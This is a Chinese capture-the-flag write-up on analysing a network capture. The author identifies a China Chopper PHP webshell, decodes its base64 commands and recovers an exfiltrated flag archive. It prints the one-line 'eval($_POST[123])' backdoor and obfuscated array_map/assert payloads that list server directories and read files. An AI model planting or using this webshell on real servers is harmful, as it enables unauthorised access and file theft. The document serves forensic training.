0x01 系统工具
- 系统:
MacOs 22.5.0
- 工具:wireshark、010Editor、CyberChef
0x02 实验目标
- 1.这是一种什么攻击(后门)
- 2.黑客可能利用的黑客工具
- 3.后门文件还原
- 4.后门文件的密码是多少
- 5.指令发送使用的是什么编码方式
- 6.传输的文件名叫什么
- 7.还原出传输的文件
- 8.文件中有个key,把它写出来,格式:key{}。
0x03 具体步骤
确认数据包大小
总共33条
数据,其中A-B通信
有一条,对数据进行过滤
总共发现有三组数据包
的交互
这是一种什么攻击(后门)
代码审计
,右键http
追踪第一条POST
数据,发现存在名称为123
的数组参数,发现$xx
里面包含编码后的字符串信息
,使用url解码
加上base64解码
成功获取数据
1 | 123 = array_map( "ass" . "ert" ,array( "ev" . "Al(\"\\\$xx%3D\\\"Ba" . "SE6" . "4_dEc" . "OdE\\\";@ev" . "al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0M6XFx3d3dyb290XFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");" ));
|
字符串解码后的数据
1 | @ ini_set ( "display_errors" , "0" );@set_time_limit(0); if (PHP_VERSION< '5.3.0' ){@set_magic_quotes_runtime(0);}; echo ( "X@Y" ); $D = 'C:\\wwwroot\\' ; $F =@opendir( $D ); if ( $F ==NULL){ echo ( "ERROR:// Path Not Found Or No Permission!" );} else { $M =NULL; $L =NULL; while ( $N =@readdir( $F )){ $P = $D . '/' . $N ; $T =@ date ( "Y-m-d H:i:s" ,@ filemtime ( $P ));@ $E = substr ( base_convert (@ fileperms ( $P ),10,8),-4); $R = "\t" . $T . "\t" .@ filesize ( $P ). "\t" . $E . "\n" ; if (@ is_dir ( $P )) $M .= $N . "/" . $R ; else $L .= $N . $R ;} echo $M . $L ;@ closedir ( $F );}; echo ( "X@Y" ); die ();
|
查看包含echo
函数,该函数为PHP
的字符串命令执行
函数,存在风险,推测有可能为php
的webShell
后门
再结合第二组数据分析 X@Y<?php eval($_POST[123]);?> X@Y
确认是PHP
的 一句话木马
黑客可能利用的黑客工具什么?
由于解码后发现@ini_set("display_errors","0")
,近一步判断user-agent
得出结果不是蚁剑
1 2 3 4 | User - Agent: Mozilla / 5.0 (compatible; Baiduspider / 2.0 ; + http: / / www.baidu.com / search / spider.html)
User - Agent: Mozilla / 5.0 (compatible; Baiduspider / 2.0 ; + http: / / www.baidu.com / search / spider.html)
User - Agent: Mozilla / 5.0 (compatible; Baiduspider / 2.0 ; + http: / / www.baidu.com / search / spider.html)
User - Agent: Mozilla / 5.0 (compatible; Baiduspider / 2.0 ; + http: / / www.baidu.com / search / spider.html)
|
分析第二组数据
,发现包含 eval
函数和$POST
获取X@Y<?php eval($_POST[123]);?> X@Y
,根据菜刀特征 eval
和 $POST
猜测使用工具为菜刀,而[123]
则为payload
,这个123
可以确认是 array_map
数组
还原后门文件
根据第二组数据还原出文件为3.php
1 2 3 | 123 = array_map( "ass" . "ert" ,array( "ev" . "Al(\"\\\$xx%3D\\\"Ba" . "SE6" . "4_dEc" . "OdE\\\";@ev" . "al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9IkM6XFx3d3dyb290XFxmbGFnLnRhci5neiI7JGZwPUBmb3BlbigkRiwncicpO2lmKEBmZ2V0YygkZnApKXtAZmNsb3NlKCRmcCk7QHJlYWRmaWxlKCRGKTt9ZWxzZXtlY2hvKCdFUlJPUjovLyBDYW4gTm90IFJlYWQnKTt9O2VjaG8oIlhAWSIpO2RpZSgpOw%3D%3D'));\");" ));
@ini_set ( "display_errors" , "0" );@set_time_limit( 0 ); if (PHP_VERSION< '5.3.0' ){@set_magic_quotes_runtime( 0 );};echo( "X@Y" );$F = 'C:\\wwwroot\\3.php' ;$P = @fopen($F, 'r' );echo(@fread($P,filesize($F)));@fclose($P);;echo( "X@Y" );die();
|
内容为X@Y<?php eval($_POST[123]);?> X@Y
后门文件的密码是多少
根据第二组会话判断密码为123
指令发送使用的是什么编码方式
该参数值是使用Base64
编码的,所以可以利用base64解码
可以看到攻击明文。
传输的文件名叫什么
代码审计,分析第三组TCP会话数据发现传输文件名为flag.tar.gz
,并且会使用 echo("X@Y")
把X@Y
字符串当做指令写入到文件内部
1 2 | 123 = array_map( "ass" . "ert" ,array( "ev" . "Al(\"\\\$xx%3D\\\"Ba" . "SE6" . "4_dEc" . "OdE\\\";@ev" . "al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9J0M6XFx3d3dyb290XFwzLnBocCc7JFA9QGZvcGVuKCRGLCdyJyk7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oIlhAWSIpO2RpZSgpOw%3D%3D'));\");" ));
@ini_set ( "display_errors" , "0" );@set_time_limit( 0 ); if (PHP_VERSION< '5.3.0' ){@set_magic_quotes_runtime( 0 );};echo( "X@Y" );$F = "C:\\wwwroot\\flag.tar.gz" ;$fp = @fopen($F, 'r' ); if (@fgetc($fp)){@fclose($fp);@readfile($F);} else {echo( 'ERROR:// Can Not Read' );};echo( "X@Y" );die();
|
还原出传输的文件
- 两种方式
- 导出文件
- Wireshark-show Packet Bytes修改start
一、导出文件
查看报文response
,疑惑 X@Y
文件头信息,发现只是混淆
作用
右键查看数据包,定位到文件导出
,使用RAW
流导出
会提示我们格式不支持
使用010Editor
打开修改文件头和文件结尾,一般修改文件头
即可
看到 58 40 59
,我们查看文件头根本查不到,因为这是混淆
我们的,去掉58 40 59
后保存,也可以根据 1F 8B
特征判断
修改后保存可以正常打开,解压发现有一个flag.txt
文件
二、Wireshark-show Packet Bytes修改start
修改为compressed
表示解压缩,后面start 表示字节往右边偏移
几位,X@Y
就需要偏移三位就可以获取到
Flag
文件获取flag
:
Wireshark-show Packet Bytes
修改start 获取flag
0x04 小结
流量分析水平得到了提升,对菜刀工具特征有了清晰的认识。
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
最后于 2023-8-18 08:10
被Spider_008编辑
,原因: 图片不显示